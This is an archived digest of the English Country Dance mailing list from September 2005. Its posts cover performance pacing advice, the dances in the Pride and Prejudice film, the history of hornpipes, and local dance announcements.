Mon, 19 Sep 2005 12:28:36 GMT To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] performance advice Content-Type: multipart/alternative;boundary=""--__JWM__J237c.2f1cS.7de1M"" Message-ID: <20050919.052925.28133.498990-AT-webmail18.nyc.untd.com> ----__JWM__J237c.2f1cS.7de1M Content-Disposition: inline Content-Type: text/plain The following comes from a fiddle List, and really addresses an instrumental and vocal performance, but I thought it had some good ideas for all performers. This is known a ""pacing"" your show. In general, you'll want to vary it throughout your show. I can't guarantee that what works for me will work for you, but basicly I learned about pacing by analyzing sitcoms on television, and by experimenting with the ideas in front of live groups, mostly in seniors type environments. If you observe carefully, you'll see a lot of similarities among all of them, and you can put it to work for your group. You can break your set down into 3 parts, the opening, mid-program and the close. The opening runs 3 to four tunes. Here you want to pace the program a little faster, with shorter pauses between the tunes, perhaps putting a pair of tunes back to back with only a pause to allow for applause. In the opening there are a few things you need to accomplish. First, you need to prove yourself to the audience. This is easier than it sounds. You do this by demonstrating the full breadth of your material, and giving them a glimpse of what is to come. You might try a few instrumentals to begin, and conclude the opening with an up-tempo vocal. I like to choose powerful tunes for the opening, with varying rhythm and keys. If changing capos is going to slow this part of the show, keep them all in the same key. I've never been able to successfully open a program with a slow tune or a soft tune. It is very difficult to recover from that. This is the time to demonstrate your power. Wait until after you have proven yourself before introducing the individuals in your group. After you have opened, your audience will be much more interested in learning about the your group. Save the intros until then. Secondly, you need to follow some protocols throughout your program. By delivering a few items of etiquette to break the ice, you can establish rapport with your audience. The most important thing here is to let your audience know that you are ""happy to be there"". You have to find a way to express this through your voice and through your body language. Be animated. Display motion, and vary your tone of voice. If your group is deadly nervous, it often carries the opposite message. In that case, you can tell them you are nervous, but emphasize that you are thrilled to be able to perform for them. Those are your objectives for opening the show. Prove yourself and let them know you are going to enjoy yourselves. This lasts for 3, maybe four tunes. You can refine your opening by experimenting with the tunes you include in your opening. Try substituting different tunes into the opening. Try playing the tunes a little differently, perhaps punching them up and aiming for a high energy level. If you're going to include some humour later in your show, you need to include a hint of it in the opening, otherwise it will fall flat later. The mid-program. You've just concluded a high energy opening and you can feel your toes buzzing....you've given them a hint of what is to come. Coming out of the opening, many groups begin to relax at this point. It is good to relax, but absolutely, without question, keep your focus on the audience. In fact, this is a good time to increase your focus on the audience. Try to understand their needs. Emotionally, their feelings will parallel yours, so you can use your feelings as a quide. If you feel bored, they will too. If you are excited, they will be too. If you have the gut feeling that you really want to do a pretty tune for them, they will be ready for it. Learn to tune in to your gut feelings to guide you through this part of your show. Now your audience will be interested in hearing a little about you and your group. They are ready for more detailed introductions. They definitely do want to know more about you. This is a great time to spend a little extra time between tunes. It is also a great time to follow with a slow soft tune. Bring the energy level down, and give them something completely different. From here, until the close, you want to get as much variety into the program as possible. You want to establish as deep a connection as possible with them as well. A sprinkling of personal stories or humour helps with that, as does eye contact, and asking questions of the audience. Again, if you're going to ask questions of the audience you need to include at least one in the opening, (""Hey, how many people want some corn-liquor?"" :O) otherwise it will be tough to get a good response to your questions in the mid-program. You can take a bit more time between tunes, and experiment from show to show with the way you introduce the tunes. With time and experience you can learn to ""set up"" a tune so that it is received more positively. In a seniors setting, often a good part of your audience will have memory problems, especially in transferring info from short term memory to long term memory. Short term memory is good for about 20 seconds. As a result, long stories often won't help you much. You can substitute a few short ones instead. Familiar tunes can help with a seniors audience as well. It can really help to follow your slow tune with a few tunes they can hum or sing along with. You really want to try to include them in the program as much as possible throughout the mid program. Basicly you are forming a deeper relationship with them. Just as in meeting a new friend, you are forming the basis for a deeper relationship here. Letting them know you a little better, getting to know them better, sharing a laugh or two. It's really pretty natural, if you think about it that way. Your mid program will last about 6 or 7 tunes, and you want to finish it out on a pretty high energy level, but at a lower energy level than your close. As you move into the close, you want to pick up the pacing a little bit, shorter time between tunes, etc. You can begin the close with another soft, sweet tune, followed by something with a little more energy. This gives an indication to your audience that your time together is coming to an close. Just as you would with a dear friend, you might spend a little more time chatting before you say your final goodbye, in this case giving them a ""closing"" tune, which may be your highest energy piece. You can follow your closing tune with a tune that says ""goodbye"", such as Smile the While, or No Place Like Home...substitue your favourite here. In a nutshell, you want to pace the program faster at the beginning and at the end. In the middle, you want to get as much variety into the program as possible...varying the rhythms, keys, perhaps including humour, short stories, audience participation, juggling, novelty tunes, whatever, .....including as many different elements as possible. hope this helps in some small way.... regards, Scott Donaldson ----__JWM__J237c.2f1cS.7de1M Content-Disposition: inline Content-Type: text/html The following comes from a fiddle List, and really addresses an instrumental and vocal performance, but I thought it had some good ideas for all performers.   This is known a ""pacing"" your show.  In general, you'll want to vary it throughout your show.  I can't guarantee that what works for me will work for you, but basicly I learned about pacing by analyzing sitcoms on television, and by experimenting with the ideas in front of live groups, mostly in seniors type environments.   If you observe carefully, you'll see a lot of similarities among all of them, and you can put it to work for your group.You can break your set down into 3 parts, the opening, mid-program and the close.The opening runs 3 to four tunes.  Here you want to pace the program a little faster, with shorter pauses between the tunes, perhaps putting a pair of tunes back to back with only a pause to allow for applause.  In the opening there are a few things you need to accomplish.First, you need to prove yourself to the audience.  This is easier than it ! sounds.  You do this by demonstrating the full breadth of your material, and giving them a glimpse of what is to come.  You might try a few instrumentals to begin, and conclude the opening with an up-tempo vocal.  I like to choose powerful tunes for the opening, with varying rhythm and keys.  If changing capos is going to slow this part of the show, keep them all in the same key. I've never been able to successfully open a program with a slow tune or a soft tune.  It is very difficult to recover from that.   This is the time to demonstrate your power. Wait until after you have proven yourself before introducing the individuals in your group.   After you have opened, your audience will be much more interested in learning about the your group. Save the intros until then.Secondly, you need to follow some protocols throughout your program. By delivering a few items of etiquette to b! reak the ice, you can establish rapport with your audience.  The most important thing here is to let your audience know that you are ""happy to be there"".  You have to find a way to express this through your voice and through your body language.  Be animated.  Display motion, and vary your tone of voice.  If your group is deadly nervous, it often carries the opposite message.  In that case, you can tell them you are nervous, but emphasize that you are thrilled to be able to perform for them.Those are your objectives for opening the show.  Prove yourself and let them know you are going to enjoy yourselves.  This lasts for  3, maybe four tunes.  You can refine your opening by experimenting with the tunes you include in your opening.  Try substituting different tunes into the opening. Try playing the tunes a little differently, perhaps punching them up and aiming for a high energy level.  If you're going to include some humour later in your show, you need to include a hint of it in the opening, otherwise it will fall flat later.The mid-program.  You've just concluded a high energy opening and you can feel your toes buzzing....you've given them a hint of what is to come. Coming out of the opening, many groups begin to relax at this point.  It is good to relax, but absolutely, without question, keep your focus on the audience.  In fact, this is a good time to increase your focus on the audience.  Try to understand their needs.  Emotionally, their feelings will parallel yours, so you can use your feelings as a quide.  If you feel bored, they will too.  If you are excited, they will be too.  If you have the gut feeling that you really want to do a pretty tune for them, they will be ready for it.  Learn to tune in to your gut feelings to guide you through this part of your show.  Now your audience w! ill be interested in hearing a little about you and your group.&nb sp; They are ready for more detailed introductions.  They definitely do want to know more about you.  This is a great time to spend a little extra time between tunes.  It is also a great time to follow with a slow soft tune.  Bring the energy level down, and give them something completely different.  From here, until the close, you want to get as much variety into the program as possible.  You want to establish as deep a connection as possible with them as well.   A sprinkling of personal stories or humour helps with that, as does eye contact, and asking questions of the audience.  Again, if you're going to ask questions of the audience you need to include at least one in the opening, (""Hey, how many people want some corn-liquor?"" :O) otherwise it will be tough to get a good response to your questions in the mid-program.You can take a bit more time between tunes, and experime! nt from show to show with the way you introduce the tunes.  With time and experience you can learn to ""set up"" a tune so that it is received more positively.  In a seniors setting, often a good part of your audience will have memory problems,  especially in transferring info from short term memory to long term memory.  Short term memory is good for about 20 seconds.  As a result, long stories often won't help you much.  You can substitute a few short ones instead.Familiar tunes can help with a seniors audience as well.  It can really help to follow your slow tune with a few tunes they can hum or sing along with. You really want to try to include them in the program as much as possible throughout the mid program.  Basicly you are forming a deeper relationship with them. Just as in meeting a new friend, you are forming the basis for a deeper relationship here.  Letting the! m know you a little better, getting to know them better, sharing a laugh or two.  It's really pretty natural, if you think about it that way.Your mid program will last about 6 or 7 tunes, and you want to finish it out on a pretty high energy level, but at a lower energy level than your close. As you move into the close, you want to pick up the pacing a little bit, shorter time between tunes, etc.  You can begin the close with another soft, sweet tune, followed by something with a little more energy.  This gives an indication to your audience that your time together is coming to an close. Just as you would with a dear friend, you might spend a little more time chatting before you say your final goodbye, in this case giving them a ""closing"" tune, which may be your highest energy piece.  You can follow your closing tune with a tune that says ""goodbye"", such as Smile the While, or No Place Like Home...substitue your favourite here.In a nutshell, you want to! pace the program faster at the beginning and at the end.  In the middle, you want to get as much variety into the program as possible...varying the rhythms, keys, perhaps including humour, short stories, audience participation, juggling, novelty tunes, whatever, .....including as many different elements as possible.hope this helps in some small way....regards,Scott Donaldson      ----__JWM__J237c.2f1cS.7de1M-- ================================================================================ Archive-Date: Mon, 19 Sep 2005 07:33:01 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <6.2.3.4.2.20050919093124.01dcd258-AT-mail.mhtc.net> Date: Mon, 19 Sep 2005 09:31:37 -0500 To: ECD-AT-ssrl04.slac.stanford.edu From: ""M.G. Mudrey, Jr."" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Pride and Prejudice References: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_635093==.ALT"" --=====================_635093==.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Fantastic!!!!!!!!!!!! --=====================_635093==.ALT Content-Type: text/html; charset=""us-ascii"" Fantastic!!!!!!!!!!!! --=====================_635093==.ALT-- ================================================================================ Archive-Date: Mon, 19 Sep 2005 08:01:58 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Mon, 19 Sep 2005 16:03:28 +0100 Subject: [ECD] Re: ECD Digest V1 #1830 Pride & Prejudice From: Nicolas Broadbridge Reply-To: ECD-AT-playford.slac.stanford.edu To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit > From: > Reply-To: > Date: Mon, 19 Sep 2005 07:00:06 PDT > To: > Subject: [ECD] ECD Digest V1 #1830 > > Nicolas wrote: If anyone is interested, I can supply a list of the dances > used. > Yes, please! > He also wrote: Reviews so far are almost universally enthusiastic > > Well, some commentators on austenblog.com are less than enthusiastic--this has > been called (disparagingly) the Wuthering Heights > version of P&P--all gritty realism and hair hanging down into one's eyes. > However, we in the US are looking forward to seeing > it I did say ""almost universally enthusiastic"" - and sadly one does not count on too much enthusiasm for any British film from the western side of the Atlantic. :-( However, the list of dances :-) Tythe Pig - Black Bess - Young Widow - Wakefield Hunt - Duke of Gloucester's March - The Bishop - Moniek's Maggot (tune for - dance is concocted by the choreographer) - Dutch Dollars. Scotch Measure also featured in the filming, but alas, must have landed on the cutting room floor! Nicolas Broadbridge www.nicolasbroadbridge.com ================================================================================ Archive-Date: Mon, 19 Sep 2005 08:28:25 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: Date: Mon, 19 Sep 2005 11:28:07 -0400 From: Nilos Nevertheless Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Pride and Prejudice MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_Part_1546_26802448.1127143687101"" References: <6.2.3.4.2.20050919093124.01dcd258-AT-mail.mhtc.net> ------=_Part_1546_26802448.1127143687101 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Particularly if you can find the right cineplex... On 9/19/05, M.G. Mudrey, Jr. wrote:=20 >=20 > Fantastic!!!!!!!!!!!! > ------=_Part_1546_26802448.1127143687101 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Particularly if you can find the right cineplex... On 9/19/05, = M.G. Mudrey, Jr. wrote: Fantastic!!!!!!= !!!!!! ------=_Part_1546_26802448.1127143687101-- ================================================================================ Archive-Date: Mon, 19 Sep 2005 09:14:02 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <6.2.3.4.2.20050919093124.01dcd258-AT-mail.mhtc.net> Date: Mon, 19 Sep 2005 09:13:30 -0700 To: ECD-AT-ssrl04.slac.stanford.edu From: Gary Shapiro Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Pride and Prejudice Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" According to http://www.prideandprejudicemovie.net/home.html opening on November 18. How do we exploit this to promote our local dances? Flyers? Demos? Klieg lights? -- Peace, Gary ================================================================================ Archive-Date: Mon, 19 Sep 2005 09:31:51 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu From: Colin Hume Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD Mailing List Date: Mon, 19 Sep 2005 17:30:54 +0100 Message-ID: <2005919173054.309811-AT-Colin> Subject: [ECD] Hornpipes MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Tracey Middleton (half of the accordion duo ""Amaryllis"") has asked me for some information on hornpipes. She and David are running a workshop at an accordionists convention (people who play ""classical"" accordion and probably don't know anything about playing for dancing) and because of the Nelson connection this year their topic is Hornpipes. She asked me what I knew about their evolution. Here's what I know (or at any rate believe) - I'm sure the collective wisdom of the ECD List can come up with lots more. I assume the original hornpipe was a pipe made from a horn, presumably with finger holes, used as a fairly primitive musical instrument. In musical terms, originally the hornpipe was a triple-time tune: ""Dick's Maggot"" and ""Mr Isaac's Maggot"" are hornpipes. A Scottish hornpipe is what I would call a rant. My definition of a rant is ""a tune which ends dubber-diddy dubber-diddy dum, boom boom"". Think of ""Soldiers' Joy"" or ""Morpeth Rant"". The tune ""Sailor's Hornpipe"" is a Scottish hornpipe (as you can see from my definition, it's a rant in English terms). I believe that sailors really did dance a hornpipe, which was a solo showing-off dance, though maybe it got modified in the Music Halls or when performed in films - this is pure conjecture. In current English dance circles, a hornpipe is a strongly dotted tune to which you would do a step-hop. Nottingham Swing (often to the tune ""Philabelula all the way"") is the best-known example, but there are many others, new and old, though these days they are mainly the province of ceilidh dancers. A hornpipe is similar to a Schottishe, to which you would tend to dance one-two-three-hop rather than step-hop, step-hop, though in fact you can easily do either to either. There is also an undotted hornpipe. Bob Lilley chose one of these when his dance ""The Fast Packet"" was published in CDSS News, since Americans expect every English dance to have its own tune. He told me he did this just to be different, and every time I've danced it in England it's been to a dotted hornpipe. In the States, among contra dance musicians, the dots have been taken out and basically a hornpipe is the same as a reel. For instance, ""Fisher's Hornpipe is a traditional dance tune dating back to the late 1700's according to the web page http://www.melbay.com/mandolinsessions/feb05/building.html You can see the music there, and if you gave it to a traditional English musician he would certainly dot it, as in the last example on this page (interestingly classed as a ""Celtic Hornpipe""). So my questions are: Do people agree or disagree with what I've written here, and can they add any more? In contra dance music is there any audible difference between a reel and a hornpipe? Is the notational difference that a hornpipe is always written with four beats to the bar and a reel with two? When was the first recorded triple-time hornpipe? When and why did a hornpipe change from triple time to duple time? Colin Hume Email colin-AT-colinhume.com Web site http://www.colinhume.com ================================================================================ Archive-Date: Mon, 19 Sep 2005 09:46:58 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 (Apple Message framework v622) References: <2005919173054.309811-AT-Colin> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-ID: <2dacc2695157c1793d9633fdb4b67ad4-AT-alumni.williams.edu> Content-Transfer-Encoding: 7bit From: Carl Friedman Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Hornpipes Date: Mon, 19 Sep 2005 12:45:30 -0400 To: ECD-AT-ssrl04.slac.stanford.edu On Sep 19, 2005, at 12:30 PM, Colin Hume wrote: > There is also an undotted hornpipe. Bob Lilley chose one of these > when his dance ""The Fast Packet"" was published in CDSS News, since > Americans expect every English dance to have its own tune. He told me > he did this just to be different, and every time I've danced it in > England it's been to a dotted hornpipe. My instructions for Fast Packet do not include any tune at all, but just that it can be done to a reel or a hornpipe. I had always called it to a (dotted) hornpipe until a week ago when I was calling with a band for whom that request would have been a problem. So I told them to play a reel. I then discovered (to my chagrin) that I should have thought about this more, as a standard reel at contra dance speed requires twice through the tune for once for this dance (or an extreme slow-down of tempo). > So my questions are: > > ...In contra dance music is there any audible difference between a reel > and a hornpipe? Not a bit that I can tell. Basically ""hornpipe"" and ""reel"" are just different ""last names"" of some tunes, as in ""Judy's Reel"" or ""Fisher's Hornpipe."" > Is the notational difference that a hornpipe is > always written with four beats to the bar and a reel with two? I have seen both reels and hornpipes written either way. Carl ================================================================================ Archive-Date: Mon, 19 Sep 2005 10:12:53 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 From: ""allisonthompson-AT-juno.com"" Reply-To: ECD-AT-playford.slac.stanford.edu Date: Mon, 19 Sep 2005 17:11:21 GMT To: ECD-AT-ssrl04.slac.stanford.edu CC: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Hornpipes Content-Type: multipart/alternative;boundary=""--__JWM__J59e2.1cfbS.3f54M"" Message-ID: <20050919.101145.6056.504807-AT-webmail27.nyc.untd.com> ----__JWM__J59e2.1cfbS.3f54M Content-Disposition: inline Content-Type: text/plain Colin, the latest issue of EFDSS Mag has something on sailor's hornpipe--I neither read it carefully nor retained much except that the author believes it to be a solo stage dance developed in the 1780s or so (think also of Mr. Durang's famous Hornpipe of the same time period here in US) and gradually by association moved from stage to ship whence it was collected as a quintessentially English dance, representing ""a nation of proud sailors,"" to quote Mrs. Grace Kimmins of the Guild of Play in 1910. To me, tune-wise (this is harder to write about than to play) an undotted hornpipe such as Fisher's contains more intervals of thirds (very easy on concertina) and fewer scales or octave jumps, the latter of which tends to be easier on fiddle and are more characteristic of reels. Maybe another way to say it--and I'm sure I'll get beaten up for this--is that if you took a tune like Fisher's and added dots, you'd say, ""Ah, yes, a classic hornpipe,"" whereas if you took a straight-up reel and put dots in, it might (cringing) sound more like a strathspey (without the Scotch snap, I hasten to add). Allison Thompson ----__JWM__J59e2.1cfbS.3f54M Content-Disposition: inline Content-Type: text/html Colin, the latest issue of EFDSS Mag has something on sailor's hornpipe--I neither read it carefully nor retained much except that the author believes it to be a solo stage dance developed in the 1780s or so (think also of Mr. Durang's famous Hornpipe of the same time period here in US) and gradually by association moved from stage to ship whence it was collected as a quintessentially English dance, representing ""a nation of proud sailors,"" to quote Mrs. Grace Kimmins of the Guild of Play in 1910. To me, tune-wise (this is harder to write about than to play) an undotted hornpipe such as Fisher's contains more intervals of thirds (very easy on concertina) and fewer scales or octave jumps, the latter of which tends to be easier on fiddle and are more characteristic of reels. Maybe another way to say it--and I'm sure I'll get beaten up for this--is that if you took a tune like Fisher's and added dots, you'd say, ""Ah, yes, a classic hornpipe,"" whereas if you took a straight-up reel and put dots in, it might (cringing) sound more like a strathspey (without the Scotch snap, I hasten to add). Allison Thompson   ----__JWM__J59e2.1cfbS.3f54M-- ================================================================================ Archive-Date: Mon, 19 Sep 2005 10:46:48 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Mon, 19 Sep 2005 13:46:31 -0400 From: Christine Robb Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Hornpipes Message-ID: <20050919174631.GV3071-AT-vienna> References: <2005919173054.309811-AT-Colin> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Mon, Sep 19, 2005 at 05:30:54PM +0100, Colin Hume wrote: > Tracey Middleton (half of the accordion duo ""Amaryllis"") has asked me > for some information on hornpipes. She and David are running a > workshop at an accordionists convention (people who play ""classical"" > accordion and probably don't know anything about playing for dancing) > and because of the Nelson connection this year their topic is > Hornpipes. She asked me what I knew about their evolution. Here's > what I know (or at any rate believe) - I'm sure the collective wisdom > of the ECD List can come up with lots more. And for a group of accordionists, don't forget to include the hornpipe in Ireland. It's used in solo dancing as well as set dancing (and is the best part of the set, in my personal opinion). Here's what Pat Murphy has to say about the hornpipe in _Toss the Feathers_: ""The hornpipe is first mentioned in the time of Henry VIII by Chappell. It is generally accepted, except by the most partisan Irish historians, as being of English origin. It is believed to have arrived in Ireland around the beginning of the eighteenth century. Joe O'Donovan, Cork step-dancer and teacher, has a reference [personal sources] to an agreement between Charles Staunton, dancing-master, and William Bailey of Ballincollig, West Cork in 1718, whereby Bailey was to pay him two guineas to teach his children 'jig minnets [minuets], hornpipes and country dances'."" Murphy describes the hornpipe steps as ""similar to those described here for a reel, though naturally danced at a slower speed. The movement transferring weight from the ball of the foot to the heel of the same foot is usually a more emphasised 'hop' when dancing to a hornpipe."" In set dancing, the hornpipe figure is usually one of the last figures, and is often a mixer. Christine ================================================================================ Archive-Date: Mon, 19 Sep 2005 10:48:43 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Hornpipes MIME-Version: 1.0 Message-ID: From: Campbell Kaynor Reply-To: ECD-AT-playford.slac.stanford.edu Date: Mon, 19 Sep 2005 13:47:53 -0400 Content-Type: text/plain; charset=""US-ASCII"" In most respects, I agree with your history /conjecture. In regards to the contra hornpipe tunes: I always assumed such tunes ""used"" to be dotted hornpipes and were adapted to contradancing by playing them as even duple meter tunes. The difference between hornpipe and reel from a contradance musician's perspective is that I can generally play the hornpipes with a dotted (and often slower) rhythm and they sound good if not better (e.g., Fisher's, Woodchopper's, President Garfield's, Lamplighter's) whereas many of the reels don't feel as ""meant to be"" when I try to play them with the dotted rhythm (e.g., Lady Walpole's Reel, Judy's Reel). We generally do not play a dotted rhythm or slow the tempo for contras. Also, I find it hard to speed up a dotted hornpipe to contra tempo without losing the dottedness. There are many of my favorite hornpipes that I do not play for contras cause they just don't sound good to my ear when played up to that speed (e.g., the Gallway Hornpipe, Miriam). In regards to 2/4 versus 4/4 meter, we play them as 2/4 (i.e., 2 steps or step-hops per measure) regardless of how they are written. (This is assuming that there are 8 bars per quarter of the tune; usually repeated. For example, we often find that marches are written in 4/4 but when we use them for contras, we play them as if it were 2/4. (If someone really messed around with the tradition for writing these out, I suppose that you could put 4 steps/bar in a 4 bar quarter tune in which case 4/4 would be played half the bar-speed of a 2/4 tune). Cammy ================================================================================ Archive-Date: Mon, 19 Sep 2005 12:28:43 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <003501c5bd50$51b11400$7c058856-AT-home1> From: ""Frances Richardson"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <2005919173054.309811-AT-Colin> Subject: Re: [ECD] Hornpipes Date: Mon, 19 Sep 2005 20:28:28 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=original Content-Transfer-Encoding: 7bit Colin, We went to a Sailor's Hornpipe dance workshop at Chippenham Festival run by Martyn Harvey. In the dance notation sheets he gave us at the end he said that the music used in Naval establishments is Pitt's Hornpipe, often referred to as College Hornpipe, which he believes was composed by an 18th century fiddler called Moses Dale. Any tune could have been called a hornpipe if it was played on the hornpipe. He also said that the sailors might well have danced this on shore - I don't remember that bit well, but I daresay you or Tracey could ask him more yourself, as I got the impression he has done research on the subject. Frances PS his workshop was very good, if a trifle strenuous! ================================================================================ Archive-Date: Mon, 19 Sep 2005 13:39:19 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Mon, 19 Sep 2005 16:38:47 -0400 From: ""Gene Murrow"" Subject: Re: [ECD] Hornpipes To: Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <005301c5bd5a$23cdbfc0$0200a8c0-AT-DELLLAPTOP> MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=iso-8859-1; reply-type=original Content-Transfer-Encoding: 7bit References: <2005919173054.309811-AT-Colin> ""Hornpipe"" -- the musical instrument-- in this context is the cylindrical bore wooden instrument with finger holes like a recorder or tin whistle, an animal horn bell (widening cone at the bottom) and animal horn mouthpiece to accommodate a single reed, as used on the clarinet. It's been around since medieval times, and considered obsolete (in polite society anyway) by 1600 or so... There are stops on the accordion that emulate the sound quite well, so an accordionist playing hornpipes is probably not punishable by law! Good choice for the workshop. [There are instruments entirely made of animal horn, such as the ""gemshorn,"" with a fipple (the whistle-type opening), finger holes and a sweet soft sound like a recorder, or the shofar, played like a bugle, used in synagogues. Neither would work for frisky sailors.] Found this interesting site via Google offering a modern hornpipe instrument. http://www.newcelticinstruments.com/whistle_history.html Colin, I forwarded your query about the indigenous English late 17th-c. triple-time hornpipe dance to Carol Marsh, who might have some solid information. And you know all the usual Dolmetsch Historical Dance Society suspects (Anne Daye et. al.) who could be very helpful in this... Also search our ECD-list archive, where some years ago there was a discussion of the vernacular Cheshire hornpipe, the Playford 3/2 tunes, and related matters. Gene ================================================================================ Archive-Date: Mon, 19 Sep 2005 15:34:18 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <006f01c5bd6a$3d9d01d0$0301a8c0-AT-Hercules> From: ""Tom Vincent"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <01LSZIENC1BM9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> <057001c5bc5b$4df4ecb0$71faf845-AT-Hercules> <20050918230135.GA8949-AT-g3.lse.org> Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning Date: Mon, 19 Sep 2005 18:02:55 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=original Content-Transfer-Encoding: 7bit Point taken, though I'd certainly consider the mate-seeking the primary intent for most attendees. ----- Original Message ----- From: To: Sent: Sunday, September 18, 2005 7:01 PM Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning > On Sun, Sep 18, 2005 at 10:09:22AM -0400, Tom Vincent wrote: >> Remember, at an unstructured dance, your intent is to >> attract a mate (even -- or especially -- a temporary one). > > Um, Tom, maybe *your* intent in going to unstructured dances is to > attract a mate. I actually go to dance, just like at any other dance > event. Please don't generalize from your own intentions. > > Susan > (freshly returned from contra camp) ================================================================================ Archive-Date: Mon, 19 Sep 2005 20:41:39 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: From: ""Margherita Davis"" Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Stockport, NY: Dance Saturday Evening, 9/24 Date: Tue, 20 Sep 2005 03:41:19 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed Content-Transfer-Encoding: quoted-printable Our next dance is this coming Saturday, September 24, from 7:30 - 10:30 pm, at the Church of the Evangelist, in Stockport. The evening=92s theme will be =93Joys of ECD,=94 presented by Gene Murrow. As those on this list already know, Gene is one of the most enlightening leaders of ECD in this country today. He is a sought-after caller who has traveled widely - and in a rare appearance in the Hudson Valley, he=92s coming to Stockport! Don=92t miss this wonderful evening of entertaining leadership and musical insights. Music will be provided by Hudson Crossing: George Davis, violin; Sue Polansky, clarinet; Chip Prince, piano and Cara Schuman, winds. Special Note: John Huhn will be providing an introductory session from 7-7:30. If you need a review of the basics, or have friends who've been thinking of checking out ECD, then this is a good place to start. Please Note: Our last dance of the season is October 23, Sunday Afternoon, 1:00-4:00, Calculated Figures by Gary Roodman For more information and directions to the dance, check our website: http://home.earthlink.net/~mandgdavis/dancdate.html Margherita Davis ================================================================================ Archive-Date: Tue, 20 Sep 2005 00:25:13 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 20 Sep 2005 08:24:57 +0100 Subject: [ECD] Re: Pride and Prejudice From: Nicolas Broadbridge Reply-To: ECD-AT-playford.slac.stanford.edu To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit I omitted to say, when posting the list of dances in the film that The Bishop is done to its own tune, and NOT Miss Dolland's Delight. Nicolas Broadbridge www.nicolasbroadbridge.com ================================================================================ Archive-Date: Tue, 20 Sep 2005 00:35:28 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: Date: Tue, 20 Sep 2005 00:34:56 -0700 To: ECD-AT-SSRL04.SLAC.Stanford.EDU From: Gary Shapiro Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] correction to So Cal Playford Ball booklet Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" For the dance, On Wittman's Golden Floor, the B1 part, partners gypsy until the Men are BELOW the Women, then circle once around until the Men are BELOW the Women. -- Peace, Gary ================================================================================ Archive-Date: Tue, 20 Sep 2005 01:02:30 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <00e201c5bdb9$50c1ba40$dd8c4a0c-AT-compaq14453453> From: ""Paul Stamler"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: Subject: Re: [ECD] Re: Pride and Prejudice Date: Tue, 20 Sep 2005 03:00:05 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""Nicolas Broadbridge"" <> Which we did at our local dance about two months ago, and the *unanimous* reponse was that the original tune was a lot more fun than Miss Dolland's. Good for the movie people. Peace, Paul ================================================================================ Archive-Date: Tue, 20 Sep 2005 03:34:47 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu From: Colin Hume Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD Mailing List Date: Tue, 20 Sep 2005 11:33:49 +0100 Message-ID: <2005920113349.248826-AT-Colin> Subject: [ECD] Maggot Pie MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Maggot Pie, published in 1932, was the first new book of English Country Dances since... when? The previous Playford-style dance in my repertoire is ""Philandering"", from W Blackman's ""24 Country Dances and Quadrilles"" of 1826. Were there any later publications, and do we ever dance anything from them? Colin Hume Email colin-AT-colinhume.com Web site 